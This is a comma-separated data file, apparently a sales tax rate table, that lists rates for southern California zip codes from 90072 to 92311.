US-CA-90072,US,CA,90072,9,,,, US-CA-90073,US,CA,90073,9,,,, US-CA-90074,US,CA,90074,9,,,, US-CA-90075,US,CA,90075,9,,,, US-CA-90076,US,CA,90076,9,,,, US-CA-90077,US,CA,90077,9,,,, US-CA-90078,US,CA,90078,9,,,, US-CA-90079,US,CA,90079,9,,,, US-CA-90080,US,CA,90080,9,,,, US-CA-90081,US,CA,90081,9,,,, US-CA-90082,US,CA,90082,9,,,, US-CA-90083,US,CA,90083,9,,,, US-CA-90084,US,CA,90084,9,,,, US-CA-90086,US,CA,90086,9,,,, US-CA-90087,US,CA,90087,9,,,, US-CA-90088,US,CA,90088,9,,,, US-CA-90089,US,CA,90089,9,,,, US-CA-90090,US,CA,90090,9,,,, US-CA-90091,US,CA,90091,9,,,, US-CA-90093,US,CA,90093,9,,,, US-CA-90094,US,CA,90094,9,,,, US-CA-90095,US,CA,90095,9,,,, US-CA-90096,US,CA,90096,9,,,, US-CA-90099,US,CA,90099,9,,,, US-CA-90101,US,CA,90101,9,,,, US-CA-90189,US,CA,90189,9,,,, US-CA-90201,US,CA,90201,9,,,, US-CA-90202,US,CA,90202,9,,,, US-CA-90209,US,CA,90209,9,,,, US-CA-90210,US,CA,90210,9,,,, US-CA-90211,US,CA,90211,9,,,, US-CA-90212,US,CA,90212,9,,,, US-CA-90213,US,CA,90213,9,,,, US-CA-90220,US,CA,90220,9,,,, US-CA-90221,US,CA,90221,9,,,, US-CA-90222,US,CA,90222,9,,,, US-CA-90223,US,CA,90223,9,,,, US-CA-90224,US,CA,90224,9,,,, US-CA-90230,US,CA,90230,9.5,,,, US-CA-90231,US,CA,90231,9.5,,,, US-CA-90232,US,CA,90232,9.5,,,, US-CA-90233,US,CA,90233,9.5,,,, US-CA-90239,US,CA,90239,9,,,, US-CA-90240,US,CA,90240,9,,,, US-CA-90241,US,CA,90241,9,,,, US-CA-90242,US,CA,90242,9,,,, US-CA-90245,US,CA,90245,9,,,, US-CA-90247,US,CA,90247,9,,,, US-CA-90248,US,CA,90248,9,,,, US-CA-90249,US,CA,90249,9,,,, US-CA-90250,US,CA,90250,9,,,, US-CA-90251,US,CA,90251,9,,,, US-CA-90254,US,CA,90254,9,,,, US-CA-90255,US,CA,90255,9,,,, US-CA-90260,US,CA,90260,9,,,, US-CA-90261,US,CA,90261,9,,,, US-CA-90262,US,CA,90262,9,,,, US-CA-90263,US,CA,90263,9,,,, US-CA-90264,US,CA,90264,9,,,, US-CA-90265,US,CA,90265,9,,,, US-CA-90266,US,CA,90266,9,,,, US-CA-90267,US,CA,90267,9,,,, US-CA-90270,US,CA,90270,9,,,, US-CA-90272,US,CA,90272,9,,,, US-CA-90274,US,CA,90274,9,,,, US-CA-90275,US,CA,90275,9,,,, US-CA-90277,US,CA,90277,9,,,, US-CA-90278,US,CA,90278,9,,,, US-CA-90280,US,CA,90280,10,,,, US-CA-90290,US,CA,90290,9,,,, US-CA-90291,US,CA,90291,9,,,, US-CA-90292,US,CA,90292,9,,,, US-CA-90293,US,CA,90293,9,,,, US-CA-90294,US,CA,90294,9,,,, US-CA-90295,US,CA,90295,9,,,, US-CA-90296,US,CA,90296,9,,,, US-CA-90301,US,CA,90301,9.5,,,, US-CA-90302,US,CA,90302,9.5,,,, US-CA-90303,US,CA,90303,9.5,,,, US-CA-90304,US,CA,90304,9,,,, US-CA-90305,US,CA,90305,9.5,,,, US-CA-90306,US,CA,90306,9.5,,,, US-CA-90307,US,CA,90307,9.5,,,, US-CA-90308,US,CA,90308,9.5,,,, US-CA-90309,US,CA,90309,9.5,,,, US-CA-90310,US,CA,90310,9.5,,,, US-CA-90311,US,CA,90311,9.5,,,, US-CA-90312,US,CA,90312,9,,,, US-CA-90401,US,CA,90401,9.5,,,, US-CA-90402,US,CA,90402,9.5,,,, US-CA-90403,US,CA,90403,9.5,,,, US-CA-90404,US,CA,90404,9.5,,,, US-CA-90405,US,CA,90405,9.5,,,, US-CA-90406,US,CA,90406,9.5,,,, US-CA-90407,US,CA,90407,9.5,,,, US-CA-90408,US,CA,90408,9.5,,,, US-CA-90409,US,CA,90409,9.5,,,, US-CA-90410,US,CA,90410,9.5,,,, US-CA-90411,US,CA,90411,9.5,,,, US-CA-90501,US,CA,90501,9,,,, US-CA-90502,US,CA,90502,9,,,, US-CA-90503,US,CA,90503,9,,,, US-CA-90504,US,CA,90504,9,,,, US-CA-90505,US,CA,90505,9,,,, US-CA-90506,US,CA,90506,9,,,, US-CA-90507,US,CA,90507,9,,,, US-CA-90508,US,CA,90508,9,,,, US-CA-90509,US,CA,90509,9,,,, US-CA-90510,US,CA,90510,9,,,, US-CA-90601,US,CA,90601,9,,,, US-CA-90602,US,CA,90602,9,,,, US-CA-90603,US,CA,90603,9,,,, US-CA-90604,US,CA,90604,9,,,, US-CA-90605,US,CA,90605,9,,,, US-CA-90606,US,CA,90606,9,,,, US-CA-90607,US,CA,90607,9,,,, US-CA-90608,US,CA,90608,9,,,, US-CA-90609,US,CA,90609,9,,,, US-CA-90610,US,CA,90610,9,,,, US-CA-90620,US,CA,90620,8,,,, US-CA-90621,US,CA,90621,8,,,, US-CA-90622,US,CA,90622,8,,,, US-CA-90623,US,CA,90623,8,,,, US-CA-90624,US,CA,90624,8,,,, US-CA-90630,US,CA,90630,8,,,, US-CA-90631,US,CA,90631,8.5,,,, US-CA-90632,US,CA,90632,8.5,,,, US-CA-90633,US,CA,90633,8.5,,,, US-CA-90637,US,CA,90637,10,,,, US-CA-90638,US,CA,90638,10,,,, US-CA-90639,US,CA,90639,10,,,, US-CA-90640,US,CA,90640,9,,,, US-CA-90650,US,CA,90650,9,,,, US-CA-90651,US,CA,90651,9,,,, US-CA-90652,US,CA,90652,9,,,, US-CA-90660,US,CA,90660,10,,,, US-CA-90661,US,CA,90661,10,,,, US-CA-90662,US,CA,90662,10,,,, US-CA-90670,US,CA,90670,9,,,, US-CA-90671,US,CA,90671,9,,,, US-CA-90680,US,CA,90680,8,,,, US-CA-90701,US,CA,90701,9,,,, US-CA-90702,US,CA,90702,9,,,, US-CA-90703,US,CA,90703,9,,,, US-CA-90704,US,CA,90704,9.5,,,, US-CA-90706,US,CA,90706,9,,,, US-CA-90707,US,CA,90707,9,,,, US-CA-90710,US,CA,90710,9,,,, US-CA-90711,US,CA,90711,9,,,, US-CA-90712,US,CA,90712,9,,,, US-CA-90713,US,CA,90713,9,,,, US-CA-90714,US,CA,90714,9,,,, US-CA-90715,US,CA,90715,9,,,, US-CA-90716,US,CA,90716,9,,,, US-CA-90717,US,CA,90717,9,,,, US-CA-90720,US,CA,90720,8,,,, US-CA-90721,US,CA,90721,8,,,, US-CA-90723,US,CA,90723,9,,,, US-CA-90731,US,CA,90731,9,,,, US-CA-90732,US,CA,90732,9,,,, US-CA-90733,US,CA,90733,9,,,, US-CA-90734,US,CA,90734,9,,,, US-CA-90740,US,CA,90740,8,,,, US-CA-90742,US,CA,90742,8,,,, US-CA-90743,US,CA,90743,8,,,, US-CA-90744,US,CA,90744,9,,,, US-CA-90745,US,CA,90745,9,,,, US-CA-90746,US,CA,90746,9,,,, US-CA-90747,US,CA,90747,9,,,, US-CA-90748,US,CA,90748,9,,,, US-CA-90749,US,CA,90749,9,,,, US-CA-90755,US,CA,90755,9,,,, US-CA-90801,US,CA,90801,9,,,, US-CA-90802,US,CA,90802,9,,,, US-CA-90803,US,CA,90803,9,,,, US-CA-90804,US,CA,90804,9,,,, US-CA-90805,US,CA,90805,9,,,, US-CA-90806,US,CA,90806,9,,,, US-CA-90807,US,CA,90807,9,,,, US-CA-90808,US,CA,90808,9,,,, US-CA-90809,US,CA,90809,9,,,, US-CA-90810,US,CA,90810,9,,,, US-CA-90813,US,CA,90813,9,,,, US-CA-90814,US,CA,90814,9,,,, US-CA-90815,US,CA,90815,9,,,, US-CA-90822,US,CA,90822,9,,,, US-CA-90831,US,CA,90831,9,,,, US-CA-90832,US,CA,90832,9,,,, US-CA-90833,US,CA,90833,9,,,, US-CA-90834,US,CA,90834,9,,,, US-CA-90835,US,CA,90835,9,,,, US-CA-90840,US,CA,90840,9,,,, US-CA-90842,US,CA,90842,9,,,, US-CA-90844,US,CA,90844,9,,,, US-CA-90846,US,CA,90846,9,,,, US-CA-90847,US,CA,90847,9,,,, US-CA-90848,US,CA,90848,9,,,, US-CA-90853,US,CA,90853,9,,,, US-CA-90895,US,CA,90895,9,,,, US-CA-90899,US,CA,90899,9,,,, US-CA-91001,US,CA,91001,9,,,, US-CA-91003,US,CA,91003,9,,,, US-CA-91006,US,CA,91006,9,,,, US-CA-91007,US,CA,91007,9,,,, US-CA-91008,US,CA,91008,9,,,, US-CA-91009,US,CA,91009,9,,,, US-CA-91010,US,CA,91010,9,,,, US-CA-91011,US,CA,91011,9,,,, US-CA-91012,US,CA,91012,9,,,, US-CA-91016,US,CA,91016,9,,,, US-CA-91017,US,CA,91017,9,,,, US-CA-91020,US,CA,91020,9,,,, US-CA-91021,US,CA,91021,9,,,, US-CA-91024,US,CA,91024,9,,,, US-CA-91025,US,CA,91025,9,,,, US-CA-91030,US,CA,91030,9,,,, US-CA-91031,US,CA,91031,9,,,, US-CA-91040,US,CA,91040,9,,,, US-CA-91041,US,CA,91041,9,,,, US-CA-91042,US,CA,91042,9,,,, US-CA-91043,US,CA,91043,9,,,, US-CA-91046,US,CA,91046,9,,,, US-CA-91066,US,CA,91066,9,,,, US-CA-91077,US,CA,91077,9,,,, US-CA-91101,US,CA,91101,9,,,, US-CA-91102,US,CA,91102,9,,,, US-CA-91103,US,CA,91103,9,,,, US-CA-91104,US,CA,91104,9,,,, US-CA-91105,US,CA,91105,9,,,, US-CA-91106,US,CA,91106,9,,,, US-CA-91107,US,CA,91107,9,,,, US-CA-91108,US,CA,91108,9,,,, US-CA-91109,US,CA,91109,9,,,, US-CA-91110,US,CA,91110,9,,,, US-CA-91114,US,CA,91114,9,,,, US-CA-91115,US,CA,91115,9,,,, US-CA-91116,US,CA,91116,9,,,, US-CA-91117,US,CA,91117,9,,,, US-CA-91118,US,CA,91118,9,,,, US-CA-91121,US,CA,91121,9,,,, US-CA-91123,US,CA,91123,9,,,, US-CA-91124,US,CA,91124,9,,,, US-CA-91125,US,CA,91125,9,,,, US-CA-91126,US,CA,91126,9,,,, US-CA-91129,US,CA,91129,9,,,, US-CA-91182,US,CA,91182,9,,,, US-CA-91184,US,CA,91184,9,,,, US-CA-91185,US,CA,91185,9,,,, US-CA-91188,US,CA,91188,9,,,, US-CA-91189,US,CA,91189,9,,,, US-CA-91199,US,CA,91199,9,,,, US-CA-91201,US,CA,91201,9,,,, US-CA-91202,US,CA,91202,9,,,, US-CA-91203,US,CA,91203,9,,,, US-CA-91204,US,CA,91204,9,,,, US-CA-91205,US,CA,91205,9,,,, US-CA-91206,US,CA,91206,9,,,, US-CA-91207,US,CA,91207,9,,,, US-CA-91208,US,CA,91208,9,,,, US-CA-91209,US,CA,91209,9,,,, US-CA-91210,US,CA,91210,9,,,, US-CA-91214,US,CA,91214,9,,,, US-CA-91221,US,CA,91221,9,,,, US-CA-91222,US,CA,91222,9,,,, US-CA-91224,US,CA,91224,9,,,, US-CA-91225,US,CA,91225,9,,,, US-CA-91226,US,CA,91226,9,,,, US-CA-91301,US,CA,91301,9,,,, US-CA-91302,US,CA,91302,9,,,, US-CA-91303,US,CA,91303,9,,,, US-CA-91304,US,CA,91304,9,,,, US-CA-91305,US,CA,91305,9,,,, US-CA-91306,US,CA,91306,9,,,, US-CA-91307,US,CA,91307,9,,,, US-CA-91308,US,CA,91308,9,,,, US-CA-91309,US,CA,91309,9,,,, US-CA-91310,US,CA,91310,9,,,, US-CA-91311,US,CA,91311,9,,,, US-CA-91313,US,CA,91313,9,,,, US-CA-91316,US,CA,91316,9,,,, US-CA-91319,US,CA,91319,7.5,,,, US-CA-91320,US,CA,91320,7.5,,,, US-CA-91321,US,CA,91321,9,,,, US-CA-91322,US,CA,91322,9,,,, US-CA-91324,US,CA,91324,9,,,, US-CA-91325,US,CA,91325,9,,,, US-CA-91326,US,CA,91326,9,,,, US-CA-91327,US,CA,91327,9,,,, US-CA-91328,US,CA,91328,9,,,, US-CA-91329,US,CA,91329,9,,,, US-CA-91330,US,CA,91330,9,,,, US-CA-91331,US,CA,91331,9,,,, US-CA-91333,US,CA,91333,9,,,, US-CA-91334,US,CA,91334,9,,,, US-CA-91335,US,CA,91335,9,,,, US-CA-91337,US,CA,91337,9,,,, US-CA-91340,US,CA,91340,9.5,,,, US-CA-91341,US,CA,91341,9.5,,,, US-CA-91342,US,CA,91342,9,,,, US-CA-91343,US,CA,91343,9,,,, US-CA-91344,US,CA,91344,9,,,, US-CA-91345,US,CA,91345,9,,,, US-CA-91346,US,CA,91346,9,,,, US-CA-91350,US,CA,91350,9,,,, US-CA-91351,US,CA,91351,9,,,, US-CA-91352,US,CA,91352,9,,,, US-CA-91353,US,CA,91353,9,,,, US-CA-91354,US,CA,91354,9,,,, US-CA-91355,US,CA,91355,9,,,, US-CA-91356,US,CA,91356,9,,,, US-CA-91357,US,CA,91357,9,,,, US-CA-91358,US,CA,91358,7.5,,,, US-CA-91359,US,CA,91359,7.5,,,, US-CA-91360,US,CA,91360,7.5,,,, US-CA-91361,US,CA,91361,7.5,,,, US-CA-91362,US,CA,91362,7.5,,,, US-CA-91364,US,CA,91364,9,,,, US-CA-91365,US,CA,91365,9,,,, US-CA-91367,US,CA,91367,9,,,, US-CA-91371,US,CA,91371,9,,,, US-CA-91372,US,CA,91372,9,,,, US-CA-91376,US,CA,91376,9,,,, US-CA-91377,US,CA,91377,7.5,,,, US-CA-91380,US,CA,91380,9,,,, US-CA-91381,US,CA,91381,9,,,, US-CA-91382,US,CA,91382,9,,,, US-CA-91383,US,CA,91383,9,,,, US-CA-91384,US,CA,91384,9,,,, US-CA-91385,US,CA,91385,9,,,, US-CA-91386,US,CA,91386,9,,,, US-CA-91387,US,CA,91387,9,,,, US-CA-91390,US,CA,91390,9,,,, US-CA-91392,US,CA,91392,9,,,, US-CA-91393,US,CA,91393,9,,,, US-CA-91394,US,CA,91394,9,,,, US-CA-91395,US,CA,91395,9,,,, US-CA-91396,US,CA,91396,9,,,, US-CA-91401,US,CA,91401,9,,,, US-CA-91402,US,CA,91402,9,,,, US-CA-91403,US,CA,91403,9,,,, US-CA-91404,US,CA,91404,9,,,, US-CA-91405,US,CA,91405,9,,,, US-CA-91406,US,CA,91406,9,,,, US-CA-91407,US,CA,91407,9,,,, US-CA-91408,US,CA,91408,9,,,, US-CA-91409,US,CA,91409,9,,,, US-CA-91410,US,CA,91410,9,,,, US-CA-91411,US,CA,91411,9,,,, US-CA-91412,US,CA,91412,9,,,, US-CA-91413,US,CA,91413,9,,,, US-CA-91416,US,CA,91416,9,,,, US-CA-91423,US,CA,91423,9,,,, US-CA-91426,US,CA,91426,9,,,, US-CA-91436,US,CA,91436,9,,,, US-CA-91470,US,CA,91470,9,,,, US-CA-91482,US,CA,91482,9,,,, US-CA-91495,US,CA,91495,9,,,, US-CA-91496,US,CA,91496,9,,,, US-CA-91499,US,CA,91499,9,,,, US-CA-91501,US,CA,91501,9,,,, US-CA-91502,US,CA,91502,9,,,, US-CA-91503,US,CA,91503,9,,,, US-CA-91504,US,CA,91504,9,,,, US-CA-91505,US,CA,91505,9,,,, US-CA-91506,US,CA,91506,9,,,, US-CA-91507,US,CA,91507,9,,,, US-CA-91508,US,CA,91508,9,,,, US-CA-91510,US,CA,91510,9,,,, US-CA-91521,US,CA,91521,9,,,, US-CA-91522,US,CA,91522,9,,,, US-CA-91523,US,CA,91523,9,,,, US-CA-91526,US,CA,91526,9,,,, US-CA-91601,US,CA,91601,9,,,, US-CA-91602,US,CA,91602,9,,,, US-CA-91603,US,CA,91603,9,,,, US-CA-91604,US,CA,91604,9,,,, US-CA-91605,US,CA,91605,9,,,, US-CA-91606,US,CA,91606,9,,,, US-CA-91607,US,CA,91607,9,,,, US-CA-91608,US,CA,91608,9,,,, US-CA-91609,US,CA,91609,9,,,, US-CA-91610,US,CA,91610,9,,,, US-CA-91611,US,CA,91611,9,,,, US-CA-91612,US,CA,91612,9,,,, US-CA-91614,US,CA,91614,9,,,, US-CA-91615,US,CA,91615,9,,,, US-CA-91616,US,CA,91616,9,,,, US-CA-91617,US,CA,91617,9,,,, US-CA-91618,US,CA,91618,9,,,, US-CA-91701,US,CA,91701,8,,,, US-CA-91702,US,CA,91702,9,,,, US-CA-91706,US,CA,91706,9,,,, US-CA-91708,US,CA,91708,8,,,, US-CA-91709,US,CA,91709,8,,,, US-CA-91710,US,CA,91710,8,,,, US-CA-91711,US,CA,91711,9,,,, US-CA-91714,US,CA,91714,9,,,, US-CA-91715,US,CA,91715,9,,,, US-CA-91716,US,CA,91716,9,,,, US-CA-91722,US,CA,91722,9,,,, US-CA-91723,US,CA,91723,9,,,, US-CA-91724,US,CA,91724,9,,,, US-CA-91729,US,CA,91729,8,,,, US-CA-91730,US,CA,91730,8,,,, US-CA-91731,US,CA,91731,9.5,,,, US-CA-91732,US,CA,91732,9.5,,,, US-CA-91733,US,CA,91733,9.5,,,, US-CA-91734,US,CA,91734,9.5,,,, US-CA-91735,US,CA,91735,9.5,,,, US-CA-91737,US,CA,91737,8,,,, US-CA-91739,US,CA,91739,8,,,, US-CA-91740,US,CA,91740,9,,,, US-CA-91741,US,CA,91741,9,,,, US-CA-91743,US,CA,91743,8,,,, US-CA-91744,US,CA,91744,9,,,, US-CA-91745,US,CA,91745,9,,,, US-CA-91746,US,CA,91746,9,,,, US-CA-91747,US,CA,91747,9,,,, US-CA-91748,US,CA,91748,9,,,, US-CA-91749,US,CA,91749,9,,,, US-CA-91750,US,CA,91750,9,,,, US-CA-91752,US,CA,91752,8,,,, US-CA-91754,US,CA,91754,9,,,, US-CA-91755,US,CA,91755,9,,,, US-CA-91756,US,CA,91756,9,,,, US-CA-91758,US,CA,91758,8,,,, US-CA-91759,US,CA,91759,8,,,, US-CA-91761,US,CA,91761,8,,,, US-CA-91762,US,CA,91762,8,,,, US-CA-91763,US,CA,91763,8.25,,,, US-CA-91764,US,CA,91764,8,,,, US-CA-91765,US,CA,91765,9,,,, US-CA-91766,US,CA,91766,9,,,, US-CA-91767,US,CA,91767,9,,,, US-CA-91768,US,CA,91768,9,,,, US-CA-91769,US,CA,91769,9,,,, US-CA-91770,US,CA,91770,9,,,, US-CA-91771,US,CA,91771,9,,,, US-CA-91772,US,CA,91772,9,,,, US-CA-91773,US,CA,91773,9,,,, US-CA-91775,US,CA,91775,9,,,, US-CA-91776,US,CA,91776,9,,,, US-CA-91778,US,CA,91778,9,,,, US-CA-91780,US,CA,91780,9,,,, US-CA-91784,US,CA,91784,8,,,, US-CA-91785,US,CA,91785,8,,,, US-CA-91786,US,CA,91786,8,,,, US-CA-91788,US,CA,91788,9,,,, US-CA-91789,US,CA,91789,9,,,, US-CA-91790,US,CA,91790,9,,,, US-CA-91791,US,CA,91791,9,,,, US-CA-91792,US,CA,91792,9,,,, US-CA-91793,US,CA,91793,9,,,, US-CA-91801,US,CA,91801,9,,,, US-CA-91802,US,CA,91802,9,,,, US-CA-91803,US,CA,91803,9,,,, US-CA-91804,US,CA,91804,9,,,, US-CA-91896,US,CA,91896,9,,,, US-CA-91899,US,CA,91899,9,,,, US-CA-91901,US,CA,91901,8,,,, US-CA-91902,US,CA,91902,8,,,, US-CA-91903,US,CA,91903,8,,,, US-CA-91905,US,CA,91905,8,,,, US-CA-91906,US,CA,91906,8,,,, US-CA-91908,US,CA,91908,8,,,, US-CA-91909,US,CA,91909,8,,,, US-CA-91910,US,CA,91910,8,,,, US-CA-91911,US,CA,91911,8,,,, US-CA-91912,US,CA,91912,8,,,, US-CA-91913,US,CA,91913,8,,,, US-CA-91914,US,CA,91914,8,,,, US-CA-91915,US,CA,91915,8,,,, US-CA-91916,US,CA,91916,8,,,, US-CA-91917,US,CA,91917,8,,,, US-CA-91921,US,CA,91921,8,,,, US-CA-91931,US,CA,91931,8,,,, US-CA-91932,US,CA,91932,8,,,, US-CA-91933,US,CA,91933,8,,,, US-CA-91934,US,CA,91934,8,,,, US-CA-91935,US,CA,91935,8,,,, US-CA-91941,US,CA,91941,8.75,,,, US-CA-91942,US,CA,91942,8.75,,,, US-CA-91943,US,CA,91943,8.75,,,, US-CA-91944,US,CA,91944,8,,,, US-CA-91945,US,CA,91945,8,,,, US-CA-91946,US,CA,91946,8,,,, US-CA-91947,US,CA,91947,8,,,, US-CA-91948,US,CA,91948,8,,,, US-CA-91950,US,CA,91950,9,,,, US-CA-91951,US,CA,91951,9,,,, US-CA-91962,US,CA,91962,8,,,, US-CA-91963,US,CA,91963,8,,,, US-CA-91976,US,CA,91976,8,,,, US-CA-91977,US,CA,91977,8,,,, US-CA-91978,US,CA,91978,8,,,, US-CA-91979,US,CA,91979,8,,,, US-CA-91980,US,CA,91980,8,,,, US-CA-91987,US,CA,91987,8,,,, US-CA-92003,US,CA,92003,8,,,, US-CA-92004,US,CA,92004,8,,,, US-CA-92007,US,CA,92007,8,,,, US-CA-92008,US,CA,92008,8,,,, US-CA-92009,US,CA,92009,8,,,, US-CA-92010,US,CA,92010,8,,,, US-CA-92011,US,CA,92011,8,,,, US-CA-92013,US,CA,92013,8,,,, US-CA-92014,US,CA,92014,8,,,, US-CA-92018,US,CA,92018,8,,,, US-CA-92019,US,CA,92019,8,,,, US-CA-92020,US,CA,92020,9,,,, US-CA-92021,US,CA,92021,8,,,, US-CA-92022,US,CA,92022,9,,,, US-CA-92023,US,CA,92023,8,,,, US-CA-92024,US,CA,92024,8,,,, US-CA-92025,US,CA,92025,8,,,, US-CA-92026,US,CA,92026,8,,,, US-CA-92027,US,CA,92027,8,,,, US-CA-92028,US,CA,92028,8,,,, US-CA-92029,US,CA,92029,8,,,, US-CA-92030,US,CA,92030,8,,,, US-CA-92033,US,CA,92033,8,,,, US-CA-92036,US,CA,92036,8,,,, US-CA-92037,US,CA,92037,8,,,, US-CA-92038,US,CA,92038,8,,,, US-CA-92039,US,CA,92039,8,,,, US-CA-92040,US,CA,92040,8,,,, US-CA-92046,US,CA,92046,8,,,, US-CA-92049,US,CA,92049,8,,,, US-CA-92051,US,CA,92051,8,,,, US-CA-92052,US,CA,92052,8,,,, US-CA-92054,US,CA,92054,8,,,, US-CA-92056,US,CA,92056,8,,,, US-CA-92057,US,CA,92057,8,,,, US-CA-92058,US,CA,92058,8,,,, US-CA-92059,US,CA,92059,8,,,, US-CA-92060,US,CA,92060,8,,,, US-CA-92061,US,CA,92061,8,,,, US-CA-92064,US,CA,92064,8,,,, US-CA-92065,US,CA,92065,8,,,, US-CA-92066,US,CA,92066,8,,,, US-CA-92067,US,CA,92067,8,,,, US-CA-92068,US,CA,92068,8,,,, US-CA-92069,US,CA,92069,8,,,, US-CA-92070,US,CA,92070,8,,,, US-CA-92071,US,CA,92071,8,,,, US-CA-92072,US,CA,92072,8,,,, US-CA-92074,US,CA,92074,8,,,, US-CA-92075,US,CA,92075,8,,,, US-CA-92078,US,CA,92078,8,,,, US-CA-92079,US,CA,92079,8,,,, US-CA-92081,US,CA,92081,8.5,,,, US-CA-92082,US,CA,92082,8,,,, US-CA-92083,US,CA,92083,8.5,,,, US-CA-92084,US,CA,92084,8.5,,,, US-CA-92085,US,CA,92085,8.5,,,, US-CA-92086,US,CA,92086,8,,,, US-CA-92088,US,CA,92088,8,,,, US-CA-92091,US,CA,92091,8,,,, US-CA-92092,US,CA,92092,8,,,, US-CA-92093,US,CA,92093,8,,,, US-CA-92096,US,CA,92096,8,,,, US-CA-92101,US,CA,92101,8,,,, US-CA-92102,US,CA,92102,8,,,, US-CA-92103,US,CA,92103,8,,,, US-CA-92104,US,CA,92104,8,,,, US-CA-92105,US,CA,92105,8,,,, US-CA-92106,US,CA,92106,8,,,, US-CA-92107,US,CA,92107,8,,,, US-CA-92108,US,CA,92108,8,,,, US-CA-92109,US,CA,92109,8,,,, US-CA-92110,US,CA,92110,8,,,, US-CA-92111,US,CA,92111,8,,,, US-CA-92112,US,CA,92112,8,,,, US-CA-92113,US,CA,92113,8,,,, US-CA-92114,US,CA,92114,8,,,, US-CA-92115,US,CA,92115,8,,,, US-CA-92116,US,CA,92116,8,,,, US-CA-92117,US,CA,92117,8,,,, US-CA-92118,US,CA,92118,8,,,, US-CA-92119,US,CA,92119,8,,,, US-CA-92120,US,CA,92120,8,,,, US-CA-92121,US,CA,92121,8,,,, US-CA-92122,US,CA,92122,8,,,, US-CA-92123,US,CA,92123,8,,,, US-CA-92124,US,CA,92124,8,,,, US-CA-92126,US,CA,92126,8,,,, US-CA-92127,US,CA,92127,8,,,, US-CA-92128,US,CA,92128,8,,,, US-CA-92129,US,CA,92129,8,,,, US-CA-92130,US,CA,92130,8,,,, US-CA-92131,US,CA,92131,8,,,, US-CA-92132,US,CA,92132,8,,,, US-CA-92134,US,CA,92134,8,,,, US-CA-92135,US,CA,92135,8,,,, US-CA-92136,US,CA,92136,8,,,, US-CA-92137,US,CA,92137,8,,,, US-CA-92138,US,CA,92138,8,,,, US-CA-92139,US,CA,92139,8,,,, US-CA-92140,US,CA,92140,8,,,, US-CA-92142,US,CA,92142,8,,,, US-CA-92143,US,CA,92143,8,,,, US-CA-92145,US,CA,92145,8,,,, US-CA-92147,US,CA,92147,8,,,, US-CA-92149,US,CA,92149,8,,,, US-CA-92150,US,CA,92150,8,,,, US-CA-92152,US,CA,92152,8,,,, US-CA-92153,US,CA,92153,8,,,, US-CA-92154,US,CA,92154,8,,,, US-CA-92155,US,CA,92155,8,,,, US-CA-92158,US,CA,92158,8,,,, US-CA-92159,US,CA,92159,8,,,, US-CA-92160,US,CA,92160,8,,,, US-CA-92161,US,CA,92161,8,,,, US-CA-92163,US,CA,92163,8,,,, US-CA-92164,US,CA,92164,8,,,, US-CA-92165,US,CA,92165,8,,,, US-CA-92166,US,CA,92166,8,,,, US-CA-92167,US,CA,92167,8,,,, US-CA-92168,US,CA,92168,8,,,, US-CA-92169,US,CA,92169,8,,,, US-CA-92170,US,CA,92170,8,,,, US-CA-92171,US,CA,92171,8,,,, US-CA-92172,US,CA,92172,8,,,, US-CA-92173,US,CA,92173,8,,,, US-CA-92174,US,CA,92174,8,,,, US-CA-92175,US,CA,92175,8,,,, US-CA-92176,US,CA,92176,8,,,, US-CA-92177,US,CA,92177,8,,,, US-CA-92178,US,CA,92178,8,,,, US-CA-92179,US,CA,92179,8,,,, US-CA-92182,US,CA,92182,8,,,, US-CA-92186,US,CA,92186,8,,,, US-CA-92187,US,CA,92187,8,,,, US-CA-92190,US,CA,92190,8,,,, US-CA-92191,US,CA,92191,8,,,, US-CA-92192,US,CA,92192,8,,,, US-CA-92193,US,CA,92193,8,,,, US-CA-92195,US,CA,92195,8,,,, US-CA-92196,US,CA,92196,8,,,, US-CA-92197,US,CA,92197,8,,,, US-CA-92198,US,CA,92198,8,,,, US-CA-92199,US,CA,92199,8,,,, US-CA-92201,US,CA,92201,8,,,, US-CA-92202,US,CA,92202,8,,,, US-CA-92203,US,CA,92203,8,,,, US-CA-92210,US,CA,92210,8,,,, US-CA-92211,US,CA,92211,8,,,, US-CA-92220,US,CA,92220,8,,,, US-CA-92222,US,CA,92222,8,,,, US-CA-92223,US,CA,92223,8,,,, US-CA-92225,US,CA,92225,8,,,, US-CA-92226,US,CA,92226,8,,,, US-CA-92227,US,CA,92227,8,,,, US-CA-92230,US,CA,92230,8,,,, US-CA-92231,US,CA,92231,8.5,,,, US-CA-92232,US,CA,92232,8.5,,,, US-CA-92233,US,CA,92233,8,,,, US-CA-92234,US,CA,92234,9,,,, US-CA-92235,US,CA,92235,9,,,, US-CA-92236,US,CA,92236,8,,,, US-CA-92239,US,CA,92239,8,,,, US-CA-92240,US,CA,92240,8,,,, US-CA-92241,US,CA,92241,8,,,, US-CA-92242,US,CA,92242,8,,,, US-CA-92243,US,CA,92243,8,,,, US-CA-92244,US,CA,92244,8,,,, US-CA-92247,US,CA,92247,8,,,, US-CA-92248,US,CA,92248,8,,,, US-CA-92249,US,CA,92249,8,,,, US-CA-92250,US,CA,92250,8,,,, US-CA-92251,US,CA,92251,8,,,, US-CA-92252,US,CA,92252,8,,,, US-CA-92253,US,CA,92253,8,,,, US-CA-92254,US,CA,92254,8,,,, US-CA-92255,US,CA,92255,8,,,, US-CA-92256,US,CA,92256,8,,,, US-CA-92257,US,CA,92257,8,,,, US-CA-92258,US,CA,92258,8,,,, US-CA-92259,US,CA,92259,8,,,, US-CA-92260,US,CA,92260,8,,,, US-CA-92261,US,CA,92261,8,,,, US-CA-92262,US,CA,92262,9,,,, US-CA-92263,US,CA,92263,9,,,, US-CA-92264,US,CA,92264,9,,,, US-CA-92266,US,CA,92266,8,,,, US-CA-92267,US,CA,92267,8,,,, US-CA-92268,US,CA,92268,8,,,, US-CA-92270,US,CA,92270,8,,,, US-CA-92273,US,CA,92273,8,,,, US-CA-92274,US,CA,92274,8,,,, US-CA-92275,US,CA,92275,8,,,, US-CA-92276,US,CA,92276,8,,,, US-CA-92277,US,CA,92277,8,,,, US-CA-92278,US,CA,92278,8,,,, US-CA-92280,US,CA,92280,8,,,, US-CA-92281,US,CA,92281,8,,,, US-CA-92282,US,CA,92282,8,,,, US-CA-92283,US,CA,92283,8,,,, US-CA-92284,US,CA,92284,8,,,, US-CA-92285,US,CA,92285,8,,,, US-CA-92286,US,CA,92286,8,,,, US-CA-92301,US,CA,92301,8,,,, US-CA-92304,US,CA,92304,8,,,, US-CA-92305,US,CA,92305,8,,,, US-CA-92307,US,CA,92307,8,,,, US-CA-92308,US,CA,92308,8,,,, US-CA-92309,US,CA,92309,8,,,, US-CA-92310,US,CA,92310,8,,,, US-CA-92311,US,CA,92311,8,,,, 